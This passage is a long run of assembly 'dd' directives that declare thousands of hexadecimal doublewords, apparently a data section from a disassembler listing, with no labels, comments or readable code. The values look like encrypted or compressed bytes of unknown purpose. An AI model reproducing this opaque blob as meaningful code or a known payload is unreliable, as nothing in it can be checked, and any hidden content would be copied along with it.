		dd 6668152Bh, 2FCA260Fh, 0A7E1433Ch, 4632EDFFh,	29E90154h
		dd 4FD1B1CDh, 7DC07BD4h, 55737CE2h, 8B66F156h, 7CA0568Bh
		dd 79CED710h, 0AFD6DED3h, 6075E0A5h, 0BA3C97BEh, 0D9D30EECh
		dd 0DCC1B5C2h, 39972613h, 8A50E78Eh, 6519E2A3h,	32EB0BB5h
		dd 0DAEE7E29h, 4786205Bh, 0CD53F367h, 57FA01CFh, 0F40466A4h
		dd 0EE9CE137h, 7A781A26h, 3A611530h, 9BA45E74h,	5BF7E3EBh
		dd 0D7756213h, 1ACE63F2h, 340DD786h, 0BE71D61Bh, 60B0D0E7h
		dd 0AECBA856h, 0C328065Ah, 0E3B237C5h, 8A842303h, 0ECFFFF09h
		dd 38BA359Bh, 323ABF3Ah, 99EB1FBEh, 619939B8h, 0F7030115h
		dd 0EBFDE250h, 368B0A6Fh, 2299F2B3h, 0D479E37Eh, 42A9C02h
		dd 5AD3462Bh, 20918CD4h, 531E353Ah, 3DC41BDh, 0C86E5262h
		dd 29AF8E98h, 0E9F5555Eh, 0EFB2ABBAh, 0B4149E48h, 0DABBF9A4h
		dd 70A8D1FDh, 0A9201A77h, 5ECB991Fh, 0E1A0F4F6h, 9C4A62B1h
		dd 828BC3F1h, 26B33ED5h, 0B54BA3B9h, 239E2A3Ch,	5BC9EE4Bh
		dd 4CF322ABh, 1F2541D1h, 47FE2791h, 3AFA5C77h, 5CFE217Ah
		dd 28F14126h, 48C57CE4h, 8B4F3CABh, 0BBE1E67h, 8C2356A1h
		dd 3A1C4D7Fh, 0CDE3A0E5h, 71360BE0h, 136AFCFh, 36014901h
		dd 9B6D52B6h, 9B782C9Ah, 0CEF48802h, 0A6889D93h, 0A26AFED3h
		dd 9B4740DAh, 3D104E2Fh, 0CA70AABAh, 0DEB17725h, 9DAC979h
		dd 5ACB67FFh, 88F852F6h, 497648C1h, 989364B8h, 736EF5E6h
		dd 454243C2h, 0B1D45166h, 36166FE5h, 8F2C6F09h,	5946ED6Dh
		dd 0EC46233Fh, 988BE53h, 7D98C4E1h, 6A83625Fh, 5327D92Eh
		dd 46BA463Fh, 81BF246Eh, 0F82DFE27h, 4C8C1AA6h,	365AF037h
		dd 0AA810E5Ah, 75B2B808h, 8D67F6D6h, 69209F0Dh,	0AD9A6CF2h
		dd 0D9E23C07h, 84D07951h, 6F0C75EBh, 0F7ECF01Ah, 3504C677h
		dd 0DA82384Ah, 0D15197E0h, 0A3AF3BC3h, 69864976h, 60534406h
		dd 0F4A1BCD0h, 0D778EC5Bh, 0D61FC940h, 99A4986Bh, 0AEBD2E1Bh
		dd 0D3386968h, 6CF0B35h, 5F6496A2h, 9A3259E3h, 0BAEA0F9Bh
		dd 0E103FDB7h, 440F13C9h, 1D95A484h, 0A09FDC2Bh, 7EB71C7Bh
		dd 85B9C296h, 37F8ED32h, 403D731Dh, 0F41D07Fh, 0AD9304ACh
		dd 0F1C64069h, 0D6FA30Ch, 0F08CD59Dh, 6D1F8A74h, 7FA48B01h
		dd 1EBAEF3Ch, 0BE400A7h, 0A496D6DCh, 69FFAFE4h,	0A522C713h
		dd 2980F0F9h, 8B117E2Ch, 0A548FD4Fh, 2EBE03B2h,	0E3B42D72h
		dd 0A6A5C94Bh, 2F531CE3h, 7AB61849h, 0EB22C360h, 438637A0h
		dd 0BA61B579h, 91226C2Dh, 0E2733E26h, 0B3477E2Dh, 0B1428569h
		dd 51CEFB34h, 7119267Fh, 66B19095h, 18C99B65h, 44AB2062h
		dd 3B7AC15Ch, 0CB4133A6h, 7D4D1390h, 468FEFEAh,	58967A72h
		dd 72B66402h, 76644E7Eh, 2CA9A80h, 0E264534h, 250851BFh
		dd 0A54ACEE1h, 36415BB7h, 0BC83F429h, 0D862BF36h, 0EFBF4B6Ah
		dd 0FF92FBE8h, 0D3E6017Ah, 0A916BFEAh, 0C9BC9B69h, 8D527F0Fh
		dd 5F0508CAh, 0B515139Ch, 0A011E560h, 417745F8h, 7A2F63F4h
		dd 0B551F39Dh, 0C3903F43h, 0EC295513h, 0DECD754Dh, 10848D26h
		dd 0CA759BCDh, 34DF4D51h, 79F0D0A2h, 1B4D5ED0h,	0E0316642h
		dd 0DE97095Ah, 85CFEA98h, 0ECAD654h, 0EB163809h, 2CCE6EFCh
		dd 3D963CCAh, 283D3A24h, 0A7B7B6E9h, 0ABC0DF9Bh, 5A60FCB1h
		dd 3092B4B7h, 7DB871B7h, 0D9DE425Fh, 8B86B9F7h,	0E3014C2Bh
		dd 13B509DDh, 617B875Ah, 5B01DC04h, 6ACDC439h, 0A24DCF4Ah
		dd 7E536781h, 7298BF30h, 66994FF1h, 3C9AD1C1h, 0CA13413Dh
		dd 9E4458E4h, 0B752A092h, 0CEF41CF5h, 54B93F93h, 0EB7E7642h
		dd 6AB10BF6h, 0D47437DDh, 4C8381E6h, 0E36F24E2h, 6D3A11Bh
		dd 0C7C61C83h, 0CA912E15h, 8C95DAA9h, 379B7C0Eh, 2E1A2A63h
		dd 0B839A851h, 9138D821h, 8E02485Eh, 0C34D91CDh, 725482D9h
		dd 6FA1E4D5h, 8B46F15Bh
		dd 1B8F43B0h, 1FEDD023h, 3052598Ch, 1AC55F9Ch, 12773F93h
		dd 3D97AA72h, 4475D5F2h, 5E49DEA6h, 0C0235D07h,	41681173h
		dd 0CC02E7Bh, 52075319h, 6D658978h, 47392FD6h, 570AB5D3h
		dd 942334F6h, 1F53B3F9h, 9AC9B472h, 73EB1B57h, 661EF8F7h
		dd 3580EBF8h, 888435A9h, 58142728h, 410E6E40h, 940CC789h
		dd 1322FC3Eh, 1A2A8FFFh, 7C346885h, 9D023FECh, 0A80F5FF1h
		dd 384872E2h, 1EA73299h, 81AF1034h, 60EE7621h, 3E87B4FEh
		dd 623139Bh, 0F8D1742Dh, 6D4022Eh, 0FEC60234h, 0AB8E4753h
		dd 0B46665FCh, 2FDB902Bh, 6AE4854Ah, 0D2B1779Bh, 58CA6BA0h
		dd 71D4E0ACh, 5B83132Fh, 0C1963F01h, 0EDB7E1BFh, 18B09F28h
		dd 8DDDCAFCh, 0EE5496EBh, 0D32BE1EDh, 907CC52Dh, 0EE6DA07h
		dd 479072Bh, 0A3F20BA8h, 0D644B788h, 2E731082h,	12A017D3h
		dd 3C83F8C0h, 429C0F9Eh, 81498A7h, 16035A3Fh, 0DDE4A58Ch
		dd 0D9B4305h, 4E912E67h, 0A56F7B34h, 8EC52F54h,	3D08DBF4h
		dd 0CECC6680h, 0DD6EDC51h, 60BA9C4Dh, 0F4EE74B4h, 0EF96B11Ch
		dd 6885C3D8h, 0B9465389h, 5A517744h, 0B9A530FEh, 1B5BA16Dh
		dd 78DAFF77h, 0D7A00C7Ah, 88E0A975h, 788FC304h,	51698500h
		dd 1E8E761Ch, 0C2D0A977h, 5BECD16h, 119D5FBEh, 7893C7B6h
		dd 0A1E1363Fh, 56A76D83h, 0FF36AAA0h, 0BFD67F83h, 58F7863Ah
		dd 9C541CDCh, 0F49964B0h, 0CDF6450Dh, 42AA6009h, 0CACDFA5Ch
		dd 0A599F9D6h, 6E9DC518h, 0D5054880h, 0FD1C204Dh, 0A915EEAh
		dd 19881132h, 1AC3CDD1h, 0FD9DC98Fh, 0A9C3B949h, 4D6D5146h
		dd 0C7966226h, 0F1E02D56h, 7FE7E5C9h, 5EDB16C9h, 0F57ECB0Ch
		dd 2B96D535h, 0C7AFF994h, 0AA7EE59h, 0CDA893Bh,	0A07EADE4h
		dd 4F9F9143h, 0D6772981h, 820566Dh, 86E4440Ah, 5E8B2066h
		dd 0C2448ED0h, 0ED039DE4h, 4DBA57CAh, 48170BC6h, 0A1E36C08h
		dd 2D9BE706h, 9856DE1Fh, 0B5B5B3B4h, 5BCB377Dh,	15B6CAACh
		dd 0A7963813h, 0C8C52D22h, 0C33678B2h, 0DCE21003h, 0A2E90D3Ah
		dd 44780283h, 0F94999CBh, 8181204Dh, 0B3F566C9h, 0DE1545BBh
		dd 2D438694h, 7A048482h, 4A61F3CBh, 0BCBB4614h,	58B3FD96h
		dd 39855E8Ah, 59FAA1C2h, 0FAEC638Fh, 15E9101h, 6D55BB53h
		dd 0FE04F3C5h, 536A220Ah, 0D93075ABh, 8CECEAA1h, 0EDD1C72Eh
		dd 315BDF04h, 0B18F31B6h, 0E65A83B0h, 33589A4Dh, 6E7ED3FFh
		dd 61830537h, 54226EFh,	37D28169h, 0E79CFC53h, 0E6330870h
		dd 6309440Ah, 5B9845FDh, 63DA30D9h, 0D7CE07A8h,	0FB0C0567h
		dd 0FD424C88h, 234FC852h, 0F5CC4326h, 63950067h, 0F760D348h
		dd 0F674CC97h, 5DAC9BAEh, 4051AAD9h, 5352D77Dh,	0D00B2CDBh
		dd 5E6B21CCh, 0EC3AAB42h, 25DF5079h, 79BA338Eh,	0C0972A5Fh
		dd 0B39FB572h, 0FCDF1526h, 64BF336Bh, 0E6295CE2h, 7EDAD12Bh
		dd 60F51EEh, 0A3148E8h,	82448FD7h, 9B4DE5Fh, 0C5507E3Ah
		dd 10D7678Fh, 7D2B2F9Fh, 0D997B835h, 0F511C38Fh, 0D6EE6EAFh
		dd 0FCCA5084h, 0CABF7647h, 590A1A98h, 6F2E998h,	0FC9D8261h
		dd 7DDB9AB0h, 0F4BC256Fh, 0EF7EA23Eh, 686F708Bh, 0D14F113Eh
		dd 0F90FB49Eh, 0ADB88744h, 0C8B2A87Fh, 0B403152Ch, 0F7C027B6h
		dd 5CC6DF11h, 94B9FE75h, 0CFDAB82Fh, 0A6A2169Bh, 720B6C5Ch
		dd 0C38809C7h, 348A595Bh, 671FF097h, 846F552Fh,	0D5EAC967h
		dd 65644ABBh, 417922BBh, 65D528A7h, 82FBA4B2h, 81D94CC5h
		dd 0BDA8B935h, 1F140362h, 0A9D2388Bh, 23AAA78h,	0AF89D36Dh
		dd 8A91638Bh, 0F9184FF5h, 9D0D9257h, 0FAB7FD1Fh, 0DA58101h
		dd 0BC5324DEh, 1FF15ED3h, 606A7B76h, 858D76A5h,	4AF4C2B4h
		dd 0A7EC7148h, 71D03DE1h, 0F9362199h, 8546D824h, 5CB4DA27h
		dd 1A3DA448h, 0F584D6A1h, 0A15B1823h, 54C09FD2h, 2EAE9426h
		dd 11CAF902h, 0AF333E0Bh, 0D2815BA1h, 0F3649D7Ch, 588E4AE3h
		dd 82F206F4h, 0B6A9225Eh, 3DFB4050h, 6FACAA34h,	5A94155Bh
		dd 0E05CCA35h, 0F6080998h, 2AC56B08h, 93113FCh,	593333E6h
		dd 0AFF8B870h, 0F702DDDCh, 6A364679h, 0C0933190h, 2B91EC4Fh
		dd 0E6A1768Fh, 564EAD6Fh, 691C7A15h, 1EE03923h,	661BC59Dh
		dd 8D294212h, 0E308A2E9h, 0EFD579E3h, 0ED01168Ah, 0FA3A58AAh
		dd 40AF6910h, 0A0EF6D21h, 1F273F22h, 8DB6EB4h, 67C35744h
		dd 17FEA88h, 4B84282Ch,	7E774CB4h, 73A7BC78h, 0CF348289h
		dd 1F2C1075h, 2CB95EE4h, 0A44C4E8Fh, 7EC4352Fh,	8A4B26B0h
		dd 46E60B21h, 69611F43h, 8AA20598h, 0B28FAA7Eh,	167DB549h
		dd 55AAE815h, 5D97E74Ah, 5AB42065h, 9BB036F7h, 81DF5F74h
		dd 31965092h, 70575C52h, 0ADAED4C4h, 1FBCC0CFh,	0E2DC2CA5h
		dd 0F650A65Ch, 2E88270Ch, 15EE86F2h, 17489A17h,	1DC49DFFh
		dd 2BBE52C4h, 37A6C172h, 0ECEDB01Ah, 0D731E03Dh, 5536FA50h
		dd 52858C02h, 145DD020h, 0F29E0B84h, 0D48BA40Fh, 0F878B95Ah
		dd 1CAC00EFh, 662EED3Ch, 0D9BEF9A6h, 2B5A261h, 0B86B4673h
		dd 59EFDE08h, 0A043DF14h, 1FF1AAFDh, 0AEC56BFDh, 0B5D596CCh
		dd 80D3E289h, 2D80A47Dh, 0B8FC7C9Eh, 81B9AEE8h,	0BA379F5Eh
		dd 0D3602CDCh, 73EE98ABh, 1F0086E0h, 5B3AC27Eh,	0C66FF3D6h
		dd 0E5C54A0Ch, 0D9B5CB4Fh, 866FE6C4h, 0A085E37Bh, 8CD4D89h
		dd 0A7200FE3h, 777E0897h, 843BB7F4h, 6DBD253Fh,	620BEA61h
		dd 0F02CB7CAh, 49D83147h, 0DC91A38Ch, 1904BB16h, 6842E6A2h
		dd 0BBCEE3ECh, 8F2DA6EEh, 918C060Dh, 9EA9EE8h, 5A5AD0B3h
		dd 20474E21h, 5C11AC1Ah, 0F712F4FFh, 17769037h,	667A2AF5h
		dd 0F587879h, 5CE8A59h,	48287D08h, 0A18E850Dh, 0F87E4A12h
		dd 53EC26FAh, 0A66FCD5Fh, 8E76AAEDh, 0B068B2DCh, 0F524AFABh
		dd 0FDFD2409h, 835F624Ah, 0BA4632ADh, 4878ECB0h, 0AF7754E5h
		dd 416B1A6Eh, 805DCE5Fh, 41C73FF7h, 2DF6CD68h, 0F6F1C623h
		dd 13421FAEh, 0A631909Ch, 1F81368Ah, 7E7CA58Bh,	0C0D57219h
		dd 4C6984EEh, 4783AF58h, 4D18FC47h, 8D88F04Ch, 8ED0EA3Ah
		dd 0D875D226h, 8BE2BEF3h, 4BC2FDC1h, 763EC5E9h,	61FB2D39h
		dd 2963A1B2h, 0D796C6EFh, 4326117Ah, 5DAC8DDh, 10156041h
		dd 0BCDF341Bh, 529B139Ah, 2C5CFA33h, 7B3F50BBh,	0F3E6C50Fh
		dd 8B458EF1h, 396261B0h, 0C60658D5h, 0D72E5109h, 0EE9DD1B1h
		dd 1FF230E9h, 20019DE7h, 0B73F1BDEh, 304BEEC3h,	47E23451h
		dd 3AD17670h, 5A611C4h,	0F41EB08h, 5ACC0643h, 0DCF18DCAh
		dd 0D1C8BE1Eh, 4EFF44C9h, 0E3EBA2C5h, 6560EEFEh, 0A8233BBFh
		dd 7B7F114Fh, 694595BAh, 814004FCh, 76802D6Ch, 2907CFA2h
		dd 3D8211C3h, 2D068753h, 6CFADB9Fh, 8C1918A1h, 9004FB63h
		dd 0C404C302h, 0A27E01E0h, 6717262h, 0F08CD69Dh, 0F21A213Ch
		dd 3ECC945Ch, 3095DE19h, 4CE9897Fh, 153FF7ADh, 0D14CE459h
		dd 0A9BF13B4h, 589AE57Eh, 0F75FF8DDh, 327D51FFh, 70E42553h
		dd 436B33E7h, 0F6FE74DAh, 7AE838FAh, 0E67C7049h, 316AD88Dh
		dd 0F6693894h, 0B446108Ah, 6B4364Bh, 0C2BE1F3h,	78D7254Dh
		dd 0E71D1998h, 9267F0Bh, 2B786D40h, 0BD974649h,	0A13FACF2h
		dd 2391BD7h, 0FAD0D3A1h, 7B9628F2h, 87B82351h, 0F430368Dh
		dd 3C231212h, 58E6D6BBh, 0DECF4C5h, 0C2355F39h,	0A7423722h
		dd 44A2A563h, 5D18435h,	0A5A3E93Ah, 0B653FC92h,	0B77A1CB5h
		dd 8CC012B8h, 2365A091h, 37EFBAEFh, 0E869D62h, 0F471DD83h
		dd 56A16A69h, 66F07FDFh, 8313E83Ch, 15C558C0h, 6B66A312h
		dd 1A0CDC62h, 1482BF5h
		dd 1767E87Dh, 3C7F5794h, 52E6A9E6h, 0D25C20A6h,	0CE252B55h
		dd 0F48E4315h, 0D5C8425Fh, 0D4239FD7h, 10B646F5h, 0AD00EE03h
		dd 0EB1B2529h, 0C8373BA4h, 0C0BA5F68h, 0AA186D78h, 82EA64Eh
		dd 0CBE3E02Eh, 0DEF3E3BFh, 793DD6ECh, 0C1A09FFDh, 0B0DC2B93h
		dd 37B42B25h, 0D80EEA86h, 74A92B57h, 0CB0BAACDh, 0DCE8CE66h
		dd 0E2CD8D5Ah, 9D4D78F4h, 0D714E6D3h, 1ABED730h, 6E2189BFh
		dd 63CCE1BFh, 41AC770Fh, 0D2E3613Fh, 7FC522A1h,	8F3A0B7h
		dd 0A9B17FCDh, 0F6B04ADBh, 7EBCD602h, 0F96FB54Fh, 528A3CBEh
		dd 0D69D7ED9h, 678A886Ah, 0D0C81A39h, 7A9DE7D8h, 2907E262h
		dd 885E0D5Ah, 33C24CA5h, 2FFF7EACh, 0ACEF70AEh,	338A7630h
		dd 2632D844h, 0B363992h, 23CB807Bh, 0A0E7FD3Ah,	5CD82430h
		dd 0C258A989h, 0C4DAD1EAh, 8787BF34h, 0CF3E0900h, 0B278D73Eh
		dd 113D5975h, 27CB2030h, 0C4B26A72h, 8959F2ACh,	0AFB46FF1h
		dd 94284D5Ah, 0FB82B354h, 0AB8F2C64h, 0FF1DF28Dh, 33850648h
		dd 2CEA4E67h, 0B90569D5h, 9DE63022h, 0EB64913Ah, 0FBB07CA4h
		dd 1DACA6DAh, 0F1639804h, 9AF9F48Bh, 0E19161A5h, 0B4680FC1h
		dd 43D43804h, 7B1D655Ah, 51DD9A38h, 287B1ACEh, 681DD877h
		dd 6FA8F300h, 4940E3AAh, 8825C8Dh, 93E018FBh, 0DFA97746h
		dd 90BD25EEh, 5221BB15h, 0EFEA2E2h, 456ABE9Dh, 292FDBBAh
		dd 0C02E94DDh, 8816C887h, 99F5EF25h, 0F04A2440h, 4931407Ah
		dd 6220C795h, 87B4E9E8h, 0F43B0548h, 0BBC394D4h, 9419EF81h
		dd 0E815313Fh, 0B0C7F6A3h, 41C58803h, 10EADF85h, 233FF91Eh
		dd 946E5F9Dh, 423CBAD4h, 0A3D46500h, 1AEB58DAh,	799BCD38h
		dd 7AAF4265h, 0D241597Eh, 2F7AB8B0h, 3BE96CDAh,	60E6FAF6h
		dd 0EB93DD7Fh, 0A6FF1019h, 9422EB98h, 8D4DF3BDh, 0E855A57Dh
		dd 2CD58B2h, 0E1FCB6E7h, 474E12B3h, 57E9B476h, 0DF29E352h
		dd 65C2E326h, 1393C95h,	1813F13Eh, 19AA781h, 88C3BE22h
		dd 92CBF0FAh, 0BA3A2386h, 478D53D7h, 0E75CADFDh, 0B2B5ECE6h
		dd 0D5293AD4h, 0F4C1BCE2h, 93B5400Fh, 2AE4C9E3h, 80471632h
		dd 44AEF17Dh, 0E744FEAAh, 3AEBE8E5h, 11C775CEh,	0F1EDE632h
		dd 7B9853C5h, 2B857A72h, 0D7265311h, 9FF9BEE6h,	3B5552A2h
		dd 112822F4h, 0FB83DC12h, 0D25E249Fh, 585DD4B9h, 5E8A9C20h
		dd 0E964BEF0h, 3888DE0Bh, 11E4DCFCh, 628121AFh,	7B5B730h
		dd 87EFD359h, 0D02F5727h, 0F1DB6E52h, 0EE14D329h, 9BA686D0h
		dd 0FCC2D30Bh, 888CC801h, 2B591CB2h, 5592A5CFh,	446718BDh
		dd 5DCCE93h, 490D653Bh,	0A96A354Fh, 5A3F360Fh, 0C5537EC8h
		dd 85411B08h, 0CBFAE5C7h, 42212359h, 0A358A9AFh, 48180317h
		dd 72AA5905h, 6F3DD3C7h, 0EAEFD5D3h, 32D1843Ah,	0BBA8009Fh
		dd 5B78325Ah, 59B47139h, 0E5C70470h, 0F7D60A3h,	0D92FC698h
		dd 0D5A93303h, 73E96A54h, 0DC828844h, 66E9B2C2h, 0DE34C91Ch
		dd 43DB0920h, 0D39E5C3Dh, 64F760A7h, 0C4E60D6Fh, 3AC65E15h
		dd 3841A812h, 80A451E5h, 883E01B6h, 0EAB261B2h,	0E0F66167h
		dd 0E8622444h, 8FA9A291h, 0DCE6EA63h, 0CE7EF638h, 42F6EC0Fh
		dd 0DBB51784h, 178D9F51h, 0E121E36Dh, 8606DFC6h, 0C212429Bh
		dd 9CFF76ACh, 0CA2B5881h, 558F98F7h, 0AA216557h, 94003704h
		dd 4F45F07Dh, 0B54FA444h, 5AB4AA08h, 0BE64548Eh, 0EBF89E38h
		dd 13CE15CAh, 785826EBh, 3820CDAh, 468E7C50h, 1D5EDB76h
		dd 20FE9186h, 7266DFAFh, 4CF7E415h, 86208D92h, 705DF3D8h
		dd 0D9261A00h, 51958C37h, 37CE2D66h, 7A26F94Eh,	0AB579962h
		dd 5BC44112h, 0F1AA094Bh, 0C869FA48h, 0F1C49426h, 4A78CCCAh
		dd 0A7172F4Ch, 0E11C957Ah, 0B523AEE2h, 0DD942CEh, 4010E4E0h
		dd 0CD933C83h, 0D4536553h, 542F4A2h, 0BA7964EAh, 641C2501h
		dd 18AAB7D1h, 3C3DA006h, 585C0135h, 2C5D29E8h, 9FB7FFF4h
		dd 2CDA1BB8h, 919DBE5Bh, 26B46C7Ch, 0A9510AEEh,	9BB4466Fh
		dd 0CF8B6102h, 0C081080h, 16991F00h, 0F2EC69D3h, 0C888726Fh
		dd 0A943ABC8h, 0B74D6A13h, 0C346199h, 6AE2A5Bh,	0C704451Eh
		dd 0DC4182C6h, 16F9FF59h, 0E5713A4Eh, 0E46B1CFBh, 0E7DF23C2h
		dd 0A99F5CAEh, 386EE5DEh, 94A77BD3h, 0D6158FB4h, 0DFB6DEE3h
		dd 0A9AE97ADh, 9B0926B6h, 0A4CECD4Ch, 0C9FCB3F3h, 3306BB38h
		dd 0E0A86979h, 78A24614h, 4B7B47ACh, 4B305B81h,	0C8C8FF87h
		dd 987A07D4h, 0AB90CBF9h, 0C3F1C585h, 0FF8D5B47h, 7CCAC8B3h
		dd 0F8D36308h, 1C424CFDh, 25FF549Dh, 0FA724FBFh, 509F5601h
		dd 6EDF3693h, 160828B9h, 0B7F3D08h, 6C1A9D33h, 0B8F58E87h
		dd 8805B2B6h, 0A0EB600Ch, 3D01E07Dh, 15E266h, 7F5BFA9Ch
		dd 0D727CE37h, 0F3A18CAAh, 0E35780F6h, 3D3F43D8h, 0D3D20302h
		dd 87F2ADB2h, 0BB242966h, 9A7F9CA5h, 0FCF306B8h, 0CE72Eh
		dd 2E13A81h, 1A3A7B59h,	6991BA21h, 77AEC44Bh, 0ABCABF79h
		dd 7BCE5417h, 0BE8AAC56h, 48228956h, 0F67A06A3h, 38FF230Bh
		dd 6A9490A0h, 25186C3Eh, 98A0FB40h, 0FB2BBA05h,	0E10E2E8h
		dd 909667E8h, 0C9907798h, 9FFEA707h, 98C4A2D1h,	0F377D379h
		dd 0AB740731h, 53B9A9A0h, 65192813h, 65A68457h,	52E30086h
		dd 1100D86h, 8CA19434h,	393E33C5h, 90D68F72h, 16C36581h
		dd 6C698AA6h, 0A82BF939h, 9E907684h, 582C8385h,	212DC8EAh
		dd 1D935EFAh, 133B89E6h, 24426F69h, 0B1D1964Ch,	684E65B2h
		dd 1E3526BEh, 7B894886h, 5134FECh, 0E5A398BBh, 0E62BF76Ch
		dd 3E06CCDDh, 983CB3CCh, 2E230807h, 4AFAEFADh, 93D2FAD6h
		dd 0FD1C5FA0h, 0E54E3D75h, 0C62DF182h, 0D8732FCCh, 0DB2BE086h
		dd 0EB008563h, 0E3E66B3Ah, 0F24138C3h, 349C0AC3h, 0FBF52483h
		dd 93BA5F52h, 2727E794h, 879B394Dh, 9DE03CD0h, 0EB384D1Ch
		dd 0CD0B923Fh, 9E8B1EE4h, 0C40E90D9h, 454A32D2h, 0E17E8DCEh
		dd 0D93BCA9Dh, 7250D814h, 880A283Bh, 543CD34Ah,	9A649E32h
		dd 7ADDED48h, 0B902F1FDh, 64CD68EBh, 0B900AB09h, 96A94B90h
		dd 1F065E19h, 0F69DB703h, 0BFD54FDEh, 0FF770742h, 5F6399E9h
		dd 26805908h, 7C2E7FC7h, 545D373Dh, 0D469DB90h,	9FFAC00Dh
		dd 0EAE8F0ACh, 0A47872E5h, 0A706F92Ch, 125EE55Eh, 97730BF0h
		dd 0F20C589Fh, 9EF448F7h, 0D0545ADCh, 5C191610h, 87066E56h
		dd 965B31F8h, 0BAA970FDh, 57B5E119h, 0F75CD97Bh, 0D6442D39h
		dd 9E826649h, 0C31BE787h, 56A75D33h, 35B24A9h, 0F047ADF8h
		dd 0F784B3CEh, 0DE468218h, 301F6E71h, 3E1A2941h, 0D4A28242h
		dd 4D616402h, 0EECA877Eh, 3A9D10E0h, 237F97CEh,	0DAAECBCEh
		dd 2637FC07h, 0ECFA2BC3h, 8BFD02FFh, 6F93D964h,	4F1FE188h
		dd 0DEF2B41Fh, 0CEAF7831h, 0F7165F2Ah, 1E790F41h, 6C281A2Bh
		dd 8F4A080Eh, 3DCE0EDBh, 46AD9827h, 7CEF9DDDh, 0A1003BFCh
		dd 61C84657h, 47B9EB0Ah, 0F80FCB30h, 806A5895h,	36A1BDD2h
		dd 16941373h, 7D709C8Dh, 0A4BE13C2h, 35C5D8BFh,	92A5E4EFh
		dd 7A56276h, 2CF1EF6h, 0AA8B325Ch, 9EA20254h, 61D2229Ah
		dd 90587066h, 9D328E2Ah, 2497D3DEh, 85A5377Bh, 74944C2Ch
		dd 65716180h, 53A5F014h, 0B2710639h, 527DFCA7h,	0AF6D8A51h
		dd 0C4AC6ECAh, 0FE799D44h, 308AEDE5h, 0CEB2FF65h, 469F0FFDh
		dd 0FBFD3364h, 0B75E8719h, 8DDC9E0Fh, 0DD69FA37h, 4D87BA0h
		dd 1687ED19h, 0DAD128A7h, 0F7DDA617h, 1B33E1E5h, 6EDF062Dh
		dd 21F9A8B5h, 1E18D04Fh, 83A327CAh, 821D05D7h, 0F0B86385h
		dd 74C78C08h, 0B09844Eh
		dd 96BA5F07h, 0C3C52380h, 0F88680B0h, 0B2661C21h, 3966DA9Fh
		dd 7A32EA53h, 988AB18h,	0E801C880h, 4CEDF617h, 405B8BFCh
		dd 3E50DD27h, 8D759AD8h, 41F1F8BBh, 876D638Ch, 47512979h
		dd 0B2E4C24h, 0A080B0CDh, 0E667E74Fh, 42679A02h, 0D2D13F06h
		dd 185875D4h, 0B88A2F8Dh, 0AB7CB447h, 6065D832h, 92533BE6h
		dd 6AEAF2E3h, 80BAEB10h, 5C87935Ch, 0CAED7C04h,	0E8367892h
		dd 883D49A2h, 5BAB6C50h, 0BCE3A087h, 518ACEDAh,	965B6DBDh
		dd 3FAAB863h, 394B2FCAh, 4BA2E3ABh, 0E4225CB3h,	0B1EF6711h
		dd 60537C36h, 0AB7BF501h, 7826292Ah, 0E41F2A6Eh, 520E4236h
		dd 0FA525C77h, 0AFD6C78Bh, 0F48F8069h, 8AD106Ah, 648FBD87h
		dd 0EA3B956Bh, 0BEC234BCh, 0EDBABEACh, 0FB3D70E6h, 0FF8F4F85h
		dd 98582FE3h, 0BEF8DE68h, 0D71CA489h, 0BBEAD58Bh, 0E94EC6F7h
		dd 274012B1h, 0FBEFA8B1h, 0DACA2DF3h, 0D28BAAB3h, 0B56C119h
		dd 3F6B448Fh, 0F73E8AD1h, 0CE86D10Bh, 545264DDh, 21268B55h
		dd 1441227Ah, 7345E77h,	0D15CE59Fh, 8FA19FEEh, 7FB8F754h
		dd 16B1F5C7h, 2F37414Eh, 1BEBEEADh, 7DCCEB7Fh, 8BBB4574h
		dd 0D646747Fh, 0F19708F6h, 1CDD495Bh, 26EBD2B4h, 6B76AA4h
		dd 7263D651h, 266B981Ch, 19B9C45Eh, 3580E37Bh, 7C8A951Fh
		dd 0B4A77BD5h, 48AAF1D7h, 473A025Ch, 5F787158h,	27D88A71h
		dd 0F880D361h, 0A6A48F28h, 4EEFA8D5h, 0A29122E6h, 3730AB79h
		dd 6E635A39h, 0FFA08095h, 91A965Dh, 88EBA124h, 9FD3A2C0h
		dd 71BA2020h, 0F97A218Ch, 3183C7E4h, 0AA11A1A2h, 0EA09573h
		dd 16D02F79h, 5A4FADB7h, 0A567C4CBh, 0BC49BE2h,	7F869BD6h
		dd 592649BEh, 80348B03h, 255388D6h, 0E61AE3A0h,	55EB82C0h
		dd 2ED1EA24h, 4829591Fh, 699D0B07h, 53A83F02h, 2E843219h
		dd 0CBAD1A17h, 0FC18B75Ah, 3139ACDAh, 59AA5A34h, 69135947h
		dd 9A2A75B3h, 0F87CBAF1h, 0C8D82853h, 9448DF88h, 0CFA62E3Eh
		dd 96484A3h, 0DE029E61h, 0B64F4766h, 0E450FB83h, 0DF950D78h
		dd 3175E10Ah, 154F1C89h, 6C305875h, 37161FADh, 843A0AA0h
		dd 8A0734D1h, 0EBE77Dh,	0A216D2C8h, 0C0A5A992h,	1289BDECh
		dd 28AEA20Ch, 0B411BB64h, 0F65689BAh, 0A2715C61h, 94C0A336h
		dd 3C5DF1C1h, 0B8DB70Fh, 0BED85EC8h, 31C2227Dh,	676323D2h
		dd 0DCCD0112h, 0D9B03DB3h, 653FBAD3h, 38C70B6Bh, 5B6A70C8h
		dd 99219463h, 31BB1F7Dh, 8E99CBCBh, 0E2529ACBh,	17C0204Ah
		dd 3C82FD6Fh, 5620B904h, 58795CFEh, 16883865h, 8C4875ABh
		dd 0E1EF6740h, 1AC0D884h, 0FAEC0D8Ah, 6FB470EFh, 4BEF24C2h
		dd 7B18D381h, 3FFFC300h, 0E27FF8DBh, 733FCC34h,	7FFD4BFEh
		dd 4A3C4C93h, 0B1195637h, 66E6425h, 66BF91D8h, 923D0CC3h
		dd 6CB829E2h, 4A8ED99Fh, 640736E7h, 1A1A7ED2h, 0D515C4F5h
		dd 75212E3Ch, 0FFBC34BFh, 0BC4A0FD7h, 5DCFDD10h, 0EDB1618Dh
		dd 0BDD936FCh, 0D8CAD696h, 0A0BCFD88h, 54250446h, 7A138966h
		dd 778FD8EBh, 880363C2h, 1605E3Eh, 39154582h, 21C39640h
		dd 9515762Dh, 61628D55h, 3115D9BBh, 3D607601h, 405240ECh
		dd 915CCC0Dh, 0E721FCE0h, 0FEC1CB0Ah, 0EC1EC0C7h, 0F95708CDh
		dd 0B41569B2h, 0D1FA8DE8h, 7DF78E08h, 42683EB9h, 18773A6Ah
		dd 0AB5E1DA2h, 0CCE59D7Eh, 51BAD164h, 0CEFBE640h, 502EE8C8h
